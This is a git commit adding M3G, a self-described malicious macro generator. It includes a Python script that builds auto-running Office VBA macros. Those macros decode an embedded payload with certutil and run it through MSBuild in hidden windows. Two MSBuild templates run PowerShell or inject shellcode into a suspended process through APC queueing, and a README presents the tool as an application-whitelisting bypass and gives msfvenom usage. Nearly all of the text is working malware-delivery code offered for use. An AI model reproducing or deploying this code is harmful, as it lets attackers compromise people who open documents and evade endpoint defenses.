master
Rahmat Nurfauzi 2018-04-10 06:17:05 +07:00
commit 081f89e57f
4 changed files with 498 additions and 0 deletions

196
M3G.py Executable file
View File

@ -0,0 +1,196 @@
#!/usr/bin/python
import os
import re
import sys
import base64
import random
import string
import argparse
version = "1.0"
def chunks(l, n):
for i in xrange(0, len(l), n):
yield l[i:i+n]
def gen_str():
return ''.join(random.choice(string.letters) for i in range(random.randint(5,15)))
def minimize(output):
output = re.sub(r'\s*\<\!\-\- .* \-\-\>\s*\n', '', output)
output = output.replace('\n', '')
output = re.sub(r'\s{2,}', ' ', output)
output = re.sub(r'\s+([^\w])\s+', r'\1', output)
output = re.sub(r'([^\w"])\s+', r'\1', output)
variables = {
'payload' : 'x',
'method' : 'm',
'asm' : 'a',
'instance' : 'o',
'pipeline' : 'p',
'runspace' : 'r',
'decoded' : 'd'
}
for k, v in variables.items():
output = output.replace(k, v)
return output
def generate_shellcode(filename):
shellcode = ''
if not os.path.exists(filename):
print '[!] File Not Found'
sys.exit(0)
with open(filename) as f:
shellcode = bytes(bytearray(f.read()))
f.close()
targetName = gen_str()
template = open('templates/MSBuild_shellcode.csproj','r').read()
msbuild = template.replace('[SHELLCODE]',base64.b64encode(shellcode)).replace('[TARGETNAME]',targetName)
return msbuild
def generate_powershell(filename):
powershell = ''
if not os.path.exists(filename):
print '[!] File Not Found'
sys.exit(0)
with open(filename, 'rb') as f:
inp = f.read()
powershell += inp
ps = base64.b64encode(powershell)
targetName = gen_str()
template = open('templates/MSBuild_powershell.csproj','r').read()
msbuild = template.replace('[POWERSHELL]',ps).replace('[TARGETNAME]',targetName)
return msbuild
def generate_macro(msbuild_template):
Method = gen_str()
Str = gen_str()
msbuild_encoded = base64.b64encode(minimize(msbuild_template))
chunk = list(chunks(msbuild_encoded,80))
macro = 'Dim fs As Object\n'
macro += 'Dim TmpFolder As Object\n'
macro += 'Dim env\n'
macro += 'Dim cu\n'
macro += 'Dim ecu as String\n'
macro += 'Dim emsb as String\n'
macro += 'Dim ex\n'
macro += 'Dim msb\n'
macro += 'Dim officeDir as String\n'
macro += 'Dim msbPath as String\n'
macro += 'Dim TmpFile\n'
macro += 'Dim windir\n'
macro += 'Dim wmsb As Object\n'
macro += 'Dim strLocation As String\n\n'
macro += 'Sub Auto_Open()\n'
macro += '\t'+Method+'\n'
macro += 'End Sub\n\n'
macro += 'Sub AutoOpen()\n'
macro += '\t'+Method+'\n'
macro += 'End Sub\n\n'
macro += 'Sub Document_Open()\n'
macro += '\t'+Method+'\n'
macro += 'End Sub\n\n'
macro += "Public Function "+Method+"() As Variant\n"
macro += '\tSet fs = CreateObject("Scripting.FileSystemObject")\n'
macro += '\tSet TmpFolder = fs.GetSpecialFolder(2)\n\n'
macro += '\tcu = "certutil"\n'
macro += '\tex = "exe"\n'
macro += '\tmsb = "msbuild"\n'
macro += '\tenv = CStr(Environ("USERPROFILE"))\n'
macro += '\twindir = CStr(Environ("WINDIR"))\n'
macro += '\tofficeDir = env & "\AppData\Local\Microsoft\Office\\"\n'
macro += '\tmsbPath = windir & "\Microsoft.NET\Framework\\v4.0.30319\\"\n'
macro += '\tstrLocation = officeDir & "\\' + gen_str() + '.xml"\n'
macro += '\tTmpFile = "\\' + gen_str() + '.txt"\n\n'
payload = Str+" = \"" + str(chunk[0]) + "\"\n"
for chk in chunk[1:]:
payload += "\t"+Str+" = "+Str+" + \"" + str(chk) + "\"\n"
macro += '\t' + payload
macro += '\n\tSet wmsb = fs.CreateTextFile(TmpFolder & TmpFile, True)\n'
macro += '\twmsb.WriteLine ' + Str + '\n'
macro += '\twmsb.Close\n\n'
macro += '\tConst HIDDEN_WINDOW = 0\n'
macro += '\tstrComputer = "."\n\n'
macro += '\tecu = cu & strComputer & ex & " " & "-decode -f" & " " & TmpFolder & TmpFile & " " & strLocation\n\n'
macro += '\tSet ObjWS = GetObject("winmgmts:\\\\" & strComputer & "\\root\cimv2")\n'
macro += '\tSet objS = ObjWS.Get("Win32_ProcessStartup")\n'
macro += '\tSet objC = objS.SpawnInstance_\n'
macro += '\tobjC.ShowWindow = HIDDEN_WINDOW\n'
macro += '\tSet objP = GetObject("winmgmts:\\\\" & strComputer & "\\root\cimv2:Win32_Process")\n'
macro += '\tobjP.Create ecu, Null, objC, intProcessID\n\n'
macro += '\temsb = msbPath & msb & strComputer & ex & " " & strLocation\n\n'
macro += '\tSet ObjWS = GetObject("winmgmts:\\\\" & strComputer & "\\root\cimv2")\n'
macro += '\tSet objS = ObjWS.Get("Win32_ProcessStartup")\n'
macro += '\tSet objC = objS.SpawnInstance_\n'
macro += '\tobjC.ShowWindow = HIDDEN_WINDOW\n'
macro += '\tSet objP = GetObject("winmgmts:\\\\" & strComputer & "\\root\cimv2:Win32_Process")\n'
macro += '\tobjP.Create emsb, Null, objC, intProcessID\n'
macro += 'End Function\n'
return macro
def output_file(filename,data):
output = open(filename,"w")
output.write(data)
output.close()
if __name__ == "__main__":
description = 'M3G - Malicious Macro MSBuild Generator v%s' % version
description += '\nAuthor : Rahmat Nurfauzi (@infosecn1nja)'
parser = argparse.ArgumentParser(description=description,formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('-i','--inputfile', help='Input file you want to embed into the macro', required=True)
parser.add_argument('-p','--payload', help='Choose a payload for powershell or raw shellcode', required=True)
parser.add_argument('-o','--output', help='Output filename for the macro', required=True)
args = parser.parse_args()
inputfile = args.inputfile
payload = args.payload
output = args.output
msbuild_payload = ''
if payload == 'shellcode':
msbuild_payload = generate_shellcode(inputfile)
elif payload == 'powershell':
msbuild_payload = generate_powershell(inputfile)
else:
print '[!] Invalid type payload'
sys.exit(0)
macro = generate_macro(msbuild_payload)
output_file(output,macro)

46
README.md Normal file
View File

@ -0,0 +1,46 @@
# Malicious Macro MSBuild Generator
## Description
Generates Malicious Macro and Execute Powershell or Shellcode via MSBuild Application Whitelisting Bypass.
## What is MSBuild
MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations.
Adversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file.
MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution.
## Usage
```
usage: M3G.py [-h] -i INPUTFILE -p PAYLOAD -o OUTPUT
M3G - Malicious Macro MSBuild Generator v1.0
Author : Rahmat Nurfauzi (@infosecn1nja)
optional arguments:
-h, --help show this help message and exit
-i INPUTFILE, --inputfile INPUTFILE
Input file you want to embed into the macro
-p PAYLOAD, --payload PAYLOAD
Choose a payload for powershell or raw shellcode
-o OUTPUT, --output OUTPUT
Output filename for the macro
```
## Example
* Choose a payload you want to test like shellcode or powershell
* Generate a raw shellcode in whatever framework you want (Cobalt Strike, Metasploit Framework)
`$ msfvenom -p windows/exec cmd="calc.exe" -f raw > payload.bin`
`$ python M3G.py -p shellcode -i /path/payload.bin -o macro.vba`
`$ python M3G.py -p powershell -i /path/payload.ps1 -o macro.vba`
## Links
* https://gist.github.com/subTee/6b236083da2fd6ddff216e434f257614
* http://subt0x10.blogspot.no/2017/04/bypassing-application-whitelisting.html
* https://msdn.microsoft.com/en-us/library/dd722601.aspx
## Credit
Rahmat Nurfauzi (@infosecn1nja)

View File

@ -0,0 +1,54 @@
<Project ToolsVersion="4.0"
xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="[TARGETNAME]">
<ClassExample />
</Target>
<UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
<Using Namespace="System" />
<Using Namespace="System.IO" />
<Using Namespace="System.Reflection" />
<Using Namespace="System.Collections.Generic" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
public override bool Execute()
{
Program.Main();
return true;
}
}
public class Program
{
public static void Main()
{
byte[] data = Convert.FromBase64String("[POWERSHELL]");
string script = Encoding.Unicode.GetString(data);
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
Pipeline pipeline = runspace.CreatePipeline();
pipeline.Commands.AddScript(script);
pipeline.InvokeAsync();
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>

View File

@ -0,0 +1,202 @@
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="[TARGETNAME]">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Using Namespace="System" />
<Using Namespace="System.Reflection" />
<Using Namespace="System.Diagnostics" />
<Using Namespace="System.Runtime.InteropServices" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Reflection;
using Microsoft.CSharp;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class ClassExample : Task, ITask
{
public override bool Execute()
{
Program.Main();
return true;
}
}
public class Program
{
public static void Main()
{
string strShellCode = "[SHELLCODE]";
byte[] shellcode = System.Convert.FromBase64String(strShellCode);
string processpath = @"C:\Windows\System32\wsmprovhost.exe";
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool success = CreateProcess(processpath, null,
IntPtr.Zero, IntPtr.Zero, false,
ProcessCreationFlags.CREATE_SUSPENDED,
IntPtr.Zero, null, ref si, out pi);
IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_READWRITE);
IntPtr bytesWritten = IntPtr.Zero;
bool resultBool = WriteProcessMemory(pi.hProcess,resultPtr,shellcode,shellcode.Length, out bytesWritten);
IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId);
uint oldProtect = 0;
resultBool = VirtualProtectEx(pi.hProcess,resultPtr, shellcode.Length,PAGE_EXECUTE_READ, out oldProtect);
IntPtr ptr = QueueUserAPC(resultPtr,sht,IntPtr.Zero);
IntPtr ThreadHandle = pi.hThread;
ResumeThread(ThreadHandle);
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static UInt32 PAGE_READWRITE = 0x04;
private static UInt32 PAGE_EXECUTE_READ = 0x20;
[Flags]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}
[Flags]
public enum ProcessCreationFlags : uint
{
ZERO_FLAG = 0x00000000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NEW_CONSOLE = 0x00000010,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_NO_WINDOW = 0x08000000,
CREATE_PROTECTED_PROCESS = 0x00040000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_SEPARATE_WOW_VDM = 0x00001000,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_SUSPENDED = 0x00000004,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
DEBUG_PROCESS = 0x00000001,
DETACHED_PROCESS = 0x00000008,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
INHERIT_PARENT_AFFINITY = 0x00010000
}
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[Flags]
public enum ThreadAccess : int
{
TERMINATE = (0x0001) ,
SUSPEND_RESUME = (0x0002) ,
GET_CONTEXT = (0x0008) ,
SET_CONTEXT = (0x0010) ,
SET_INFORMATION = (0x0020) ,
QUERY_INFORMATION = (0x0040) ,
SET_THREAD_TOKEN = (0x0080) ,
IMPERSONATE = (0x0100) ,
DIRECT_IMPERSONATION = (0x0200)
}
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
int dwThreadId);
[DllImport("kernel32.dll",SetLastError = true)]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr,
Int32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll", SetLastError = true )]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(
ProcessAccessFlags processAccess,
bool bInheritHandle,
int processId
);
[DllImport("kernel32.dll")]
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,
bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment,
string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll")]
public static extern uint SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
int dwSize, uint flNewProtect, out uint lpflOldProtect);
}
]]>
</Code>
</Task>
</UsingTask>
</Project>